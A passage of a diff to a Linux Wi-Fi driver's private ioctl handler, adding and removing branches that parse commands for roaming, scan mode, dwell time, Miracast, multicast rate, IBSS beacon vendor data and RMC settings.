CFG_OKC_FEATURE_ENABLED_MAX)) + { + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "Okc mode value %d is out of range" + " (Min: %d Max: %d)", okcMode, + CFG_OKC_FEATURE_ENABLED_MIN, + CFG_OKC_FEATURE_ENABLED_MAX); + ret = -EINVAL; + goto exit; + } + + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, + "%s: Received Command to change okc mode = %d", __func__, okcMode); + + pHddCtx->cfg_ini->isOkcIniFeatureEnabled = okcMode; + } +#endif /* FEATURE_WLAN_OKC */ + else if (strncmp(command, "GETROAMSCANCONTROL", 18) == 0) + { + tANI_BOOLEAN roamScanControl = sme_GetRoamScanControl((tHalHandle)(pHddCtx->hHal)); + char extra[32]; + tANI_U8 len = 0; + + len = scnprintf(extra, sizeof(extra), "%s %d", + command, roamScanControl); + len = VOS_MIN(priv_data.total_len, len + 1); + if (copy_to_user(priv_data.buf, &extra, len)) { + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: failed to copy data to user buffer", __func__); + ret = -EFAULT; + goto exit; + } + } +#ifdef WLAN_FEATURE_PACKET_FILTERING + else if (strncmp(command, "ENABLE_PKTFILTER_IPV6", 21) == 0) + { + tANI_U8 filterType = 0; + tANI_U8 *value = command; + + /* Move pointer to ahead of ENABLE_PKTFILTER_IPV6 */ + value = value + 22; + + /* Convert the value from ascii to integer */ + ret = kstrtou8(value, 10, &filterType); + if (ret < 0) + { + /* If the input value is greater than max value of datatype, + * then also kstrtou8 fails + */ + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: kstrtou8 failed range ", __func__); + ret = -EINVAL; + goto exit; + } + + if (filterType != 0 && filterType != 1) + { + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: Accepted Values are 0 and 1 ", __func__); + ret = -EINVAL; + goto exit; + } + wlan_hdd_setIPv6Filter(WLAN_HDD_GET_CTX(pAdapter), filterType, + pAdapter->sessionId); + } +#endif + else if (strncmp(command, "BTCOEXMODE", 10) == 0 ) + { + char *dhcpPhase; + int ret; + + dhcpPhase = command + 11; + if ('1' == *dhcpPhase) + { + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, + FL("send DHCP START indication")); + + pHddCtx->btCoexModeSet = TRUE; + + ret = wlan_hdd_scan_abort(pAdapter); + if (ret < 0) + { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + FL("failed to abort existing scan %d"), ret); + } + + sme_DHCPStartInd(pHddCtx->hHal, pAdapter->device_mode, + pAdapter->sessionId); + } + else if ('2' == *dhcpPhase) { - VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - "dfsScanMode value %d is out of range" - " (Min: %d Max: %d)", dfsScanMode, - CFG_ENABLE_DFS_CHNL_SCAN_MIN, - CFG_ENABLE_DFS_CHNL_SCAN_MAX); - ret = -EINVAL; - goto exit; - } - VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, - "%s: Received Command to Set DFS Scan Mode = %d", - __func__, dfsScanMode); + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, + FL("send DHCP STOP indication")); - ret = wlan_hdd_handle_dfs_chan_scan(pHddCtx, dfsScanMode); + pHddCtx->btCoexModeSet = FALSE; + + sme_DHCPStopInd(pHddCtx->hHal, pAdapter->device_mode, + pAdapter->sessionId); + } } - else if (strncmp(command, "GETDFSSCANMODE", 14) == 0) + else if (strncmp(command, "SCAN-ACTIVE", 11) == 0) { - tANI_U8 dfsScanMode = sme_GetDFSScanMode(pHddCtx->hHal); + hddLog(LOG1, + FL("making default scan to ACTIVE")); + pHddCtx->scan_info.scan_mode = eSIR_ACTIVE_SCAN; + } + else if (strncmp(command, "SCAN-PASSIVE", 12) == 0) + { + hddLog(LOG1, + FL("making default scan to PASSIVE")); + pHddCtx->scan_info.scan_mode = eSIR_PASSIVE_SCAN; + } + else if (strncmp(command, "GETDWELLTIME", 12) == 0) + { + hdd_config_t *pCfg = (WLAN_HDD_GET_CTX(pAdapter))->cfg_ini; char extra[32]; tANI_U8 len = 0; - len = scnprintf(extra, sizeof(extra), "%s %d", command, dfsScanMode); + memset(extra, 0, sizeof(extra)); + ret = hdd_get_dwell_time(pCfg, command, extra, sizeof(extra), &len); len = VOS_MIN(priv_data.total_len, len + 1); - if (copy_to_user(priv_data.buf, &extra, len)) - { + if (ret != 0 || copy_to_user(priv_data.buf, &extra, len)) { VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, "%s: failed to copy data to user buffer", __func__); ret = -EFAULT; goto exit; } + ret = len; } - else if (strncmp(command, "FASTREASSOC", 11) == 0) + else if (strncmp(command, "SETDWELLTIME", 12) == 0) { - tANI_U8 *value = command; - tANI_U8 channel = 0; - tSirMacAddr targetApBssid; - tANI_U8 trigger = 0; - eHalStatus status = eHAL_STATUS_SUCCESS; - tHalHandle hHal; - v_U32_t roamId = 0; - tCsrRoamModifyProfileFields modProfileFields; - hdd_station_ctx_t *pHddStaCtx = NULL; - pHddStaCtx = WLAN_HDD_GET_STATION_CTX_PTR(pAdapter); - hHal = WLAN_HDD_GET_HAL_CTX(pAdapter); + ret = hdd_set_dwell_time(pAdapter, command); + } + else if ( strncasecmp(command, "MIRACAST", 8) == 0 ) + { + tANI_U8 filterType = 0; + tANI_U8 *value; + value = command + 9; - /* if not associated, no need to proceed with reassoc */ - if (eConnectionState_Associated != pHddStaCtx->conn_info.connState) + /* Convert the value from ascii to integer */ + ret = kstrtou8(value, 10, &filterType); + if (ret < 0) { - VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, "%s:Not associated!",__func__); - ret = -EINVAL; - goto exit; + /* If the input value is greater than max value of datatype, + * then also kstrtou8 fails + */ + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: kstrtou8 failed range ", __func__); + ret = -EINVAL; + goto exit; } - - status = hdd_parse_reassoc_command_data(value, targetApBssid, &channel); - if (eHAL_STATUS_SUCCESS != status) + if ((filterType < WLAN_HDD_DRIVER_MIRACAST_CFG_MIN_VAL ) || + (filterType > WLAN_HDD_DRIVER_MIRACAST_CFG_MAX_VAL)) { VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - "%s: Failed to parse reassoc command data", __func__); + "%s: Accepted Values are 0 to 2. 0-Disabled, 1-Source," + " 2-Sink ", __func__); ret = -EINVAL; goto exit; } - - /* if the target bssid is same as currently associated AP, - issue reassoc to same AP */ - if (VOS_TRUE == vos_mem_compare(targetApBssid, - pHddStaCtx->conn_info.bssId, sizeof(tSirMacAddr))) - { - VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, - "%s:11r Reassoc BSSID is same as currently associated AP bssid", - __func__); - sme_GetModifyProfileFields(hHal, pAdapter->sessionId, - &modProfileFields); - sme_RoamReassoc(hHal, pAdapter->sessionId, - NULL, modProfileFields, &roamId, 1); - return 0; - } - - /* Check channel number is a valid channel number */ - if(VOS_STATUS_SUCCESS != - wlan_hdd_validate_operation_channel(pAdapter, channel)) + //Filtertype value should be either 0-Disabled, 1-Source, 2-sink + pHddCtx->drvr_miracast = filterType; + pScanInfo = &pHddCtx->scan_info; + if (filterType && pScanInfo != NULL && + pHddCtx->scan_info.mScanPending) { - hddLog(VOS_TRACE_LEVEL_ERROR, - "%s: Invalid Channel [%d]", __func__, channel); - return -EINVAL; + /*Miracast Session started. Abort Scan */ + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, + "%s, Aborting Scan For Miracast",__func__); + hdd_abort_mac_scan(pHddCtx, pScanInfo->sessionId, + eCSR_SCAN_ABORT_DEFAULT); } - - trigger = eSME_ROAM_TRIGGER_SCAN; - - /* Proceed with scan/roam */ - smeIssueFastRoamNeighborAPEvent(WLAN_HDD_GET_HAL_CTX(pAdapter), - &targetApBssid[0], - (tSmeFastRoamTrigger)(trigger), - channel); - } -#endif -#ifdef FEATURE_WLAN_ESE - else if (strncmp(command, "SETCCXMODE", 10) == 0) + hdd_tx_rx_pkt_cnt_stat_timer_handler(pHddCtx); + sme_SetMiracastMode(pHddCtx->hHal, pHddCtx->drvr_miracast); + } + else if (strncmp(command, "SETMCRATE", 9) == 0) { tANI_U8 *value = command; - tANI_U8 eseMode = CFG_ESE_FEATURE_ENABLED_DEFAULT; + int targetRate; + tSirRateUpdateInd *rateUpdate; + eHalStatus status; - /* Check if the features OKC/ESE/11R are supported simultaneously, - then this operation is not permitted (return FAILURE) */ - if (sme_getIsEseFeatureEnabled((tHalHandle)(pHddCtx->hHal)) && - hdd_is_okc_mode_enabled(pHddCtx) && - sme_getIsFtFeatureEnabled((tHalHandle)(pHddCtx->hHal))) + /* Only valid for SAP mode */ + if (WLAN_HDD_SOFTAP != pAdapter->device_mode) { - VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_WARN, - "%s: OKC/ESE/11R are supported simultaneously" - " hence this operation is not permitted!", __func__); - ret = -EPERM; + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: SAP mode is not running", __func__); + ret = -EFAULT; goto exit; } - /* Move pointer to ahead of SETCCXMODE */ - value = value + 11; - /* Convert the value from ascii to integer */ - ret = kstrtou8(value, 10, &eseMode); - if (ret < 0) + /* Move pointer to ahead of SETMCRATE */ + /* input value is in units of hundred kbps */ + value = value + 10; + /* Convert the value from ascii to integer, decimal base */ + ret = kstrtouint(value, 10, &targetRate); + + rateUpdate = (tSirRateUpdateInd *)vos_mem_malloc(sizeof(tSirRateUpdateInd)); + if (NULL == rateUpdate) { - /* If the input value is greater than max value of datatype, then also - kstrtou8 fails */ - VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - "%s: kstrtou8 failed range [%d - %d]", __func__, - CFG_ESE_FEATURE_ENABLED_MIN, - CFG_ESE_FEATURE_ENABLED_MAX); - ret = -EINVAL; - goto exit; + hddLog(VOS_TRACE_LEVEL_ERROR, + "%s: SETMCRATE indication alloc fail", __func__); + ret = -EFAULT; + goto exit; } - if ((eseMode < CFG_ESE_FEATURE_ENABLED_MIN) || - (eseMode > CFG_ESE_FEATURE_ENABLED_MAX)) + vos_mem_zero(rateUpdate, sizeof(tSirRateUpdateInd )); + + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, + "MC Target rate %d", targetRate); + /* Ignore unicast */ + rateUpdate->ucastDataRate = -1; + rateUpdate->mcastDataRate24GHz = targetRate; + rateUpdate->mcastDataRate5GHz = targetRate; + rateUpdate->mcastDataRate24GHzTxFlag = 0; + rateUpdate->mcastDataRate5GHzTxFlag = 0; + status = sme_SendRateUpdateInd(pHddCtx->hHal, rateUpdate); + if (eHAL_STATUS_SUCCESS != status) { - VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - "Ese mode value %d is out of range" - " (Min: %d Max: %d)", eseMode, - CFG_ESE_FEATURE_ENABLED_MIN, - CFG_ESE_FEATURE_ENABLED_MAX); - ret = -EINVAL; - goto exit; + hddLog(VOS_TRACE_LEVEL_ERROR, + "%s: SET_MC_RATE failed", __func__); + vos_mem_free(rateUpdate); + ret = -EFAULT; + goto exit; } - VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, - "%s: Received Command to change ese mode = %d", __func__, eseMode); - - pHddCtx->cfg_ini->isEseIniFeatureEnabled = eseMode; - sme_UpdateIsEseFeatureEnabled((tHalHandle)(pHddCtx->hHal), eseMode); + } +#ifdef FEATURE_WLAN_BATCH_SCAN + else if (strncmp(command, "WLS_BATCHING", 12) == 0) + { + ret = hdd_handle_batch_scan_ioctl(pAdapter, &priv_data, command); } #endif - else if (strncmp(command, "SETROAMSCANCONTROL", 18) == 0) +#ifdef WLAN_FEATURE_RMC + else if ((strncasecmp(command, "SETIBSSBEACONOUIDATA", 20) == 0) && + (WLAN_HDD_IBSS == pAdapter->device_mode)) { + int i = 0; + tANI_U8 *ibss_ie; + tANI_U32 command_len; tANI_U8 *value = command; - tANI_BOOLEAN roamScanControl = 0; + tHalHandle hHal = pHddCtx->hHal; + tpAniSirGlobal pMac = PMAC_STRUCT(hHal); + tANI_U32 ibss_ie_length; + tANI_U32 len, present; + tANI_U8 *addIE; + tANI_U8 *addIEData; + + hddLog(LOG1, + FL(" received command %s"),((char *) value)); + /* validate argument of command */ + if (strlen(value) <= 21) + { + hddLog(LOGE, + FL("No arguements in command length %zu"), strlen(value)); + ret = -EFAULT; + goto exit; + } - /* Move pointer to ahead of SETROAMSCANCONTROL */ - value = value + 19; - /* Convert the value from ascii to integer */ - ret = kstrtou8(value, 10, &roamScanControl); - if (ret < 0) + /* moving to arguments of commands */ + value = value + 21; + command_len = strlen(value); + + /* oui_data can't be less than 3 bytes */ + if (command_len <= (2 * WLAN_HDD_IBSS_MIN_OUI_DATA_LENGTH)) { - /* If the input value is greater than max value of datatype, then also - kstrtou8 fails */ - VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - "%s: kstrtou8 failed ", __func__); - ret = -EINVAL; - goto exit; + hddLog(LOGE, + FL("Invalid SETIBSSBEACONOUIDATA command length %d"), + command_len); + ret = -EFAULT; + goto exit; + } + ibss_ie = vos_mem_malloc(command_len); + if (!ibss_ie) { + hddLog(LOGE, + FL("Could not allocate memory for command length %d"), + command_len); + ret = -ENOMEM; + goto exit; } + vos_mem_zero(ibss_ie, command_len); - if (0 != roamScanControl) + ibss_ie_length = hdd_parse_set_ibss_oui_data_command(value, ibss_ie, + command_len); + if (ibss_ie_length < (2 * WLAN_HDD_IBSS_MIN_OUI_DATA_LENGTH)) { + hddLog(LOGE, FL("Could not parse command %s return length %d"), + value, ibss_ie_length); + ret = -EFAULT; + vos_mem_free(ibss_ie); + goto exit; + } + + hddLog(LOG1, FL("ibss_ie length %d ibss_ie:"), ibss_ie_length); + while (i < ibss_ie_length) + hddLog(LOG1, FL("0x%x"), ibss_ie[i++]); + + /* Populate Vendor IE in Beacon */ + if ((ccmCfgGetInt(hHal, + WNI_CFG_PROBE_RSP_BCN_ADDNIE_FLAG, + &present)) != eHAL_STATUS_SUCCESS) { - VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - "roam scan control invalid value = %d", - roamScanControl); - ret = -EINVAL; - goto exit; + hddLog(LOGE, + FL("unable to ftch WNI_CFG_PROBE_RSP_BCN_ADDNIE_FLAG")); + ret = -EFAULT; + vos_mem_free(ibss_ie); + goto exit; } - VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, - "%s: Received Command to Set roam scan control = %d", __func__, roamScanControl); - sme_SetRoamScanControl((tHalHandle)(pHddCtx->hHal), roamScanControl); - } -#ifdef FEATURE_WLAN_OKC - else if (strncmp(command, "SETOKCMODE", 10) == 0) - { - tANI_U8 *value = command; - tANI_U8 okcMode = CFG_OKC_FEATURE_ENABLED_DEFAULT; + addIE = vos_mem_malloc(WNI_CFG_PROBE_RSP_BCN_ADDNIE_DATA_LEN); + if (!addIE) { + hddLog(LOGE, + FL("Could not allocate memory for command length %d"), + command_len); + vos_mem_free(ibss_ie); + ret = -ENOMEM; + goto exit; + } + vos_mem_zero(addIE, WNI_CFG_PROBE_RSP_BCN_ADDNIE_DATA_LEN); + + if (present) + { + if ((wlan_cfgGetStrLen(pMac, + WNI_CFG_PROBE_RSP_BCN_ADDNIE_DATA, &len)) != eSIR_SUCCESS) + { + hddLog(LOGE, + FL("unable to fetch WNI_CFG_PROBE_RSP_BCN_ADDNIE_LEN")); + ret = -EFAULT; + vos_mem_free(ibss_ie); + vos_mem_free(addIE); + goto exit; + } + + if (len <= WNI_CFG_PROBE_RSP_BCN_ADDNIE_DATA_LEN && len && + ((len + ibss_ie_length) <= + WNI_CFG_PROBE_RSP_BCN_ADDNIE_DATA_LEN)) + { + if ((ccmCfgGetStr(hHal, + WNI_CFG_PROBE_RSP_BCN_ADDNIE_DATA, addIE, &len)) + != eHAL_STATUS_SUCCESS) + { + hddLog(LOGE, + FL("unable to fetch WNI_PROBE_RSP_BCN_ADDNIE_DATA")); + ret = -EFAULT; + vos_mem_free(ibss_ie); + vos_mem_free(addIE); + goto exit; + } + else + { + /* Curruntly only WPA IE is added before Vendor IE + * so we can blindly place the Vendor IE after WPA + * IE. If no WPA IE found replace all with Vendor IE. + */ + len = hdd_find_ibss_wpa_ie_pos(addIE, len); + } + } + else + { + hddLog(LOGE, + FL("IE len exceed limit len %d,ibss_ie_length %d "), + len, ibss_ie_length); + ret = -EFAULT; + vos_mem_free(addIE); + vos_mem_free(ibss_ie); + goto exit; + } + } + else { + len = 0; + } - /* Check if the features OKC/ESE/11R are supported simultaneously, - then this operation is not permitted (return FAILURE) */ - if (sme_getIsEseFeatureEnabled((tHalHandle)(pHddCtx->hHal)) && - hdd_is_okc_mode_enabled(pHddCtx) && - sme_getIsFtFeatureEnabled((tHalHandle)(pHddCtx->hHal))) + vos_mem_copy (addIE + len , ibss_ie, ibss_ie_length); + len += ibss_ie_length; + + if (ccmCfgSetStr(hHal, + WNI_CFG_PROBE_RSP_BCN_ADDNIE_DATA, addIE, len, NULL, + eANI_BOOLEAN_FALSE) != eHAL_STATUS_SUCCESS) { - VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_WARN, - "%s: OKC/ESE/11R are supported simultaneously" - " hence this operation is not permitted!", __func__); - ret = -EPERM; - goto exit; + hddLog(LOGE, + FL("unable to set WNI_CFG_PRBE_RSP_BCN_ADDNIE_DATA")); + ret = -EFAULT; + vos_mem_free(ibss_ie); + vos_mem_free(addIE); + goto exit; } - - /* Move pointer to ahead of SETOKCMODE */ - value = value + 11; - /* Convert the value from ascii to integer */ - ret = kstrtou8(value, 10, &okcMode); - if (ret < 0) + vos_mem_free(addIE); + if (ccmCfgSetInt(hHal, + WNI_CFG_PROBE_RSP_BCN_ADDNIE_FLAG, 1,NULL, + eANI_BOOLEAN_FALSE) != eHAL_STATUS_SUCCESS) { - /* If the input value is greater than max value of datatype, then also - kstrtou8 fails */ - VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - "%s: kstrtou8 failed range [%d - %d]", __func__, - CFG_OKC_FEATURE_ENABLED_MIN, - CFG_OKC_FEATURE_ENABLED_MAX); - ret = -EINVAL; - goto exit; + hddLog(LOGE, + FL("unble to set WNI_CFG_PROBE_RSP_BCN_ADDNIE_FLAG")); + ret = -EFAULT; + vos_mem_free(ibss_ie); + goto exit; } - if ((okcMode < CFG_OKC_FEATURE_ENABLED_MIN) || - (okcMode > CFG_OKC_FEATURE_ENABLED_MAX)) + /* Populate Vendor IE in probe resp */ + if ((ccmCfgGetInt(hHal, + WNI_CFG_PROBE_RSP_ADDNIE_FLAG, + &present)) != eHAL_STATUS_SUCCESS) { - VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - "Okc mode value %d is out of range" - " (Min: %d Max: %d)", okcMode, - CFG_OKC_FEATURE_ENABLED_MIN, - CFG_OKC_FEATURE_ENABLED_MAX); - ret = -EINVAL; + hddLog(LOGE, + FL("unable to fetch WNI_CFG_PROBE_RSP_ADDNIE_FLAG")); + ret = -EFAULT; + vos_mem_free(ibss_ie); goto exit; } - VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, - "%s: Received Command to change okc mode = %d", __func__, okcMode); + addIEData = vos_mem_malloc(WNI_CFG_PROBE_RSP_ADDNIE_DATA1_LEN); + if (!addIEData) { + hddLog(LOGE, + FL("Could not allocate memory for command length %d"), + command_len); + vos_mem_free(ibss_ie); + ret = -ENOMEM; + goto exit; + } + vos_mem_zero(addIEData, WNI_CFG_PROBE_RSP_ADDNIE_DATA1_LEN); - pHddCtx->cfg_ini->isOkcIniFeatureEnabled = okcMode; - } -#endif /* FEATURE_WLAN_OKC */ - else if (strncmp(command, "GETROAMSCANCONTROL", 18) == 0) - { - tANI_BOOLEAN roamScanControl = sme_GetRoamScanControl((tHalHandle)(pHddCtx->hHal)); - char extra[32]; - tANI_U8 len = 0; + if (present) { + if (eSIR_SUCCESS != wlan_cfgGetStrLen(pMac, + WNI_CFG_PROBE_RSP_ADDNIE_DATA1, &len)) { + hddLog(LOGE, + FL("unable to fetch WNI_CFG_PROBE_RSP_ADDNIE_DATA1")); + ret = -EFAULT; + vos_mem_free(ibss_ie); + vos_mem_free(addIEData); + goto exit; + } + if (len < WNI_CFG_PROBE_RSP_ADDNIE_DATA1_LEN && len && + (ibss_ie_length + len) <= + WNI_CFG_PROBE_RSP_ADDNIE_DATA1_LEN) { + + if ((ccmCfgGetStr(hHal, + WNI_CFG_PROBE_RSP_ADDNIE_DATA1, addIEData, &len)) + != eHAL_STATUS_SUCCESS) { + hddLog(LOGE, + FL("unable fetch WNI_CFG_PROBE_RSP_ADDNIE_DATA1")); + ret = -EFAULT; + vos_mem_free(ibss_ie); + vos_mem_free(addIEData); + goto exit; + } + else { + /* Curruntly only WPA IE is added before Vendor IE + * so we can blindly place the Vendor IE after WPA + * IE. If no WPA IE found replace all with Vendor IE. + */ + len = hdd_find_ibss_wpa_ie_pos(addIEData, len); + } + } + else + { + hddLog(LOGE, + FL("IE len exceed limit len %d,ibss_ie_length %d "), + len, ibss_ie_length); + ret = -EFAULT; + vos_mem_free(addIEData); + vos_mem_free(ibss_ie); + goto exit; + } + } /* probe rsp ADD IE present */ + else { + /* probe rsp add IE is not present */ + len = 0; + } - len = scnprintf(extra, sizeof(extra), "%s %d", - command, roamScanControl); - len = VOS_MIN(priv_data.total_len, len + 1); - if (copy_to_user(priv_data.buf, &extra, len)) { - VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - "%s: failed to copy data to user buffer", __func__); - ret = -EFAULT; - goto exit; + vos_mem_copy(addIEData +len , ibss_ie, ibss_ie_length); + len += ibss_ie_length; + + vos_mem_free(ibss_ie); + + if (ccmCfgSetStr(hHal, + WNI_CFG_PROBE_RSP_ADDNIE_DATA1, + (tANI_U8*)(addIEData), + len, NULL, + eANI_BOOLEAN_FALSE) + == eHAL_STATUS_FAILURE) { + hddLog(LOGE, + FL("unable to copy to WNI_CFG_PROBE_RSP_ADDNIE_DATA1")); + ret = -EFAULT; + vos_mem_free(addIEData); + goto exit; + } + vos_mem_free(addIEData); + if (ccmCfgSetInt(WLAN_HDD_GET_HAL_CTX(pAdapter), + WNI_CFG_PROBE_RSP_ADDNIE_FLAG, 1,NULL, + eANI_BOOLEAN_FALSE) == eHAL_STATUS_FAILURE) + { + hddLog(LOGE, + FL("unable to copy WNI_CFG_PROBE_RSP_ADDNIE_FLAG")); + ret = -EFAULT; + goto exit; } + } + else if (strncasecmp(command, "SETRMCENABLE", 12) == 0) + { + tANI_U8 *value = command; + tANI_U8 ucRmcEnable = 0; + int status; + + if ((WLAN_HDD_IBSS != pAdapter->device_mode) && + (WLAN_HDD_SOFTAP != pAdapter->device_mode)) + { + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "Received SETRMCENABLE command in invalid mode %d " + "SETRMCENABLE command is only allowed in IBSS or SOFTAP mode", + pAdapter->device_mode); + ret = -EINVAL; + goto exit; + } + + status = hdd_parse_setrmcenable_command(value, &ucRmcEnable); + if (status) + { + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "Invalid SETRMCENABLE command "); + ret = -EINVAL; + goto exit; + } + + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, + "%s: ucRmcEnable %d ", __func__, ucRmcEnable); + + if (TRUE == ucRmcEnable) + { + status = sme_EnableRMC( (tHalHandle)(pHddCtx->hHal), + pAdapter->sessionId ); + } + else if(FALSE == ucRmcEnable) + { + status = sme_DisableRMC( (tHalHandle)(pHddCtx->hHal), + pAdapter->sessionId ); + } + else + { + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "Invalid SETRMCENABLE command %d", ucRmcEnable); + ret = -EINVAL; + goto exit; + } + + if (VOS_STATUS_SUCCESS != status) + { + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: SETRMC %d failed status %d", __func__, ucRmcEnable, + status); + ret = -EINVAL; + goto exit; + } } -#ifdef WLAN_FEATURE_PACKET_FILTERING - else if (strncmp(command, "ENABLE_PKTFILTER_IPV6", 21) == 0) + else if (strncasecmp(command, "SETRMCACTIONPERIOD", 18) == 0) { - tANI_U8 filterType = 0; - tANI_U8 *value = command; + tANI_U8 *value = command; + tANI_U32 uActionPeriod = 0; + int status; - /* Move pointer to ahead of ENABLE_PKTFILTER_IPV6 */ - value = value + 22; + if ((WLAN_HDD_IBSS != pAdapter->device_mode) && + (WLAN_HDD_SOFTAP != pAdapter->device_mode)) + { + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "Received SETRMC command in invalid mode %d " + "SETRMC command is only allowed in IBSS or SOFTAP mode", + pAdapter->device_mode); + ret = -EINVAL; + goto exit; + } - /* Convert the value from ascii to integer */ - ret = kstrtou8(value, 10, &filterType); - if (ret < 0) - { - /* If the input value is greater than max value of datatype, - * then also kstrtou8 fails - */ - VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - "%s: kstrtou8 failed range ", __func__); + status = hdd_parse_setrmcactionperiod_command(value, &uActionPeriod); + if (status) + { + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "Invalid SETRMCACTIONPERIOD command "); + ret = -EINVAL; + goto exit; + } + + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, + "%s: uActionPeriod %d ", __func__, uActionPeriod); + + if (ccmCfgSetInt(pHddCtx->hHal, WNI_CFG_RMC_ACTION_PERIOD_FREQUENCY, + uActionPeriod, NULL, eANI_BOOLEAN_FALSE)) + { + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: Could not set SETRMCACTIONPERIOD %d", __func__, uActionPeriod); + ret = -EINVAL; + goto exit; + } + + } + else if (strncasecmp(command, "GETIBSSPEERINFOALL", 18) == 0) + { + /* Peer Info All Command */ + int status = eHAL_STATUS_SUCCESS; + hdd_station_ctx_t *pHddStaCtx = NULL; + char *extra = NULL; + int idx = 0, length = 0; + v_MACADDR_t *macAddr; + v_U32_t txRateMbps = 0, numOfBytestoPrint = 0; + + if (WLAN_HDD_IBSS == pAdapter->device_mode) + { + pHddStaCtx = WLAN_HDD_GET_STATION_CTX_PTR(pAdapter); + } + else + { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, + "%s: pAdapter is not valid for this device mode", + __func__); + ret = -EINVAL; + goto exit; + } + + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, + "%s: Received GETIBSSPEERINFOALL Command", __func__); + + + /* Handle the command */ + status = hdd_cfg80211_get_ibss_peer_info_all(pAdapter); + if (VOS_STATUS_SUCCESS == status) + { + /* The variable extra needed to be allocated on the heap since + * amount of memory required to copy the data for 32 devices + * exceeds the size of 1024 bytes of default stack size. On + * 64 bit devices, the default max stack size of 2048 bytes + */ + extra = kmalloc(WLAN_MAX_BUF_SIZE, GFP_KERNEL); + + if (NULL == extra) + { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s:kmalloc failed", __func__); ret = -EINVAL; goto exit; - } + } - if (filterType != 0 && filterType != 1) - { + /* Copy number of stations */ + length = scnprintf( extra, WLAN_MAX_BUF_SIZE, "%d ", + pHddStaCtx->ibss_peer_info.numIBSSPeers); + numOfBytestoPrint = length; + for (idx = 0; idx < pHddStaCtx->ibss_peer_info.numIBSSPeers; idx++) + { + macAddr = + hdd_wlan_get_ibss_mac_addr_from_staid(pAdapter, + pHddStaCtx->ibss_peer_info.ibssPeerList[idx].staIdx); + if (NULL != macAddr) + { + txRateMbps = + ((pHddStaCtx->ibss_peer_info.ibssPeerList[idx].txRate)*500*1000)/1000000; + + length += scnprintf( (extra + length), WLAN_MAX_BUF_SIZE - length, + "%02x:%02x:%02x:%02x:%02x:%02x %d %d ", + macAddr->bytes[0], macAddr->bytes[1], macAddr->bytes[2], + macAddr->bytes[3], macAddr->bytes[4], macAddr->bytes[5], + (int)txRateMbps, + (int)pHddStaCtx->ibss_peer_info.ibssPeerList[idx].rssi); + } + else + { + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: MAC ADDR is NULL for staIdx: %d", __func__, + pHddStaCtx->ibss_peer_info.ibssPeerList[idx].staIdx); + } + + /* + * VOS_TRACE() macro has limitation of 512 bytes for the print + * buffer. Hence printing the data in two chunks. The first chunk + * will have the data for 16 devices and the second chunk will + * have the rest. + */ + if (idx < NUM_OF_STA_DATA_TO_PRINT) + { + numOfBytestoPrint = length; + } + } + + /* + * Copy the data back into buffer, if the data to copy is + * morethan 512 bytes than we will split the data and do + * it in two shots + */ + if (copy_to_user(priv_data.buf, extra, numOfBytestoPrint)) + { VOS_TRACE( VOS_MODULE_ID_HDD, 